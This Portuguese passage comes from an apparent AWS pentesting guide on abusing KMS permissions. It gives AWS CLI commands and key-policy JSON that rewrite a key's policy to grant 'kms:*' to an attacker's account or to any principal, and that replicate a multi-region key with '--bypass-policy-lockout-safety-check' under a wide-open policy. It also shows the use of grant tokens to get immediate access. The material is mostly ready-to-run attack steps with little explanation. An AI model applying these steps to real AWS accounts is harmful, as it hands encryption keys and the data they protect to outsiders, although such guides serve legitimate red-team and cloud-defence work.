Com essas permissões, é possível modificar as permissões de acesso à chave para que ela possa ser usada por outras contas ou até mesmo por qualquer pessoa:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
Note que pode levar alguns minutos para o KMS permitir que o usuário use a chave após a concessão ter sido gerada. Depois desse tempo, o principal pode usar a chave KMS sem precisar especificar nada.
No entanto, se for necessário usar a concessão imediatamente, use um token de concessão (verifique o código a seguir).
Para mais informações leia isso.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
Note que é possível listar a concessão de chaves com:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
Com essas permissões, é possível replicar uma chave KMS habilitada para várias regiões em uma região diferente com uma política diferente.
Assim, um atacante poderia abusar disso para obter privilégios elevados em relação à chave e usá-la
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
Essa permissão permite usar uma chave para descriptografar algumas informações.
Para mais informações, confira: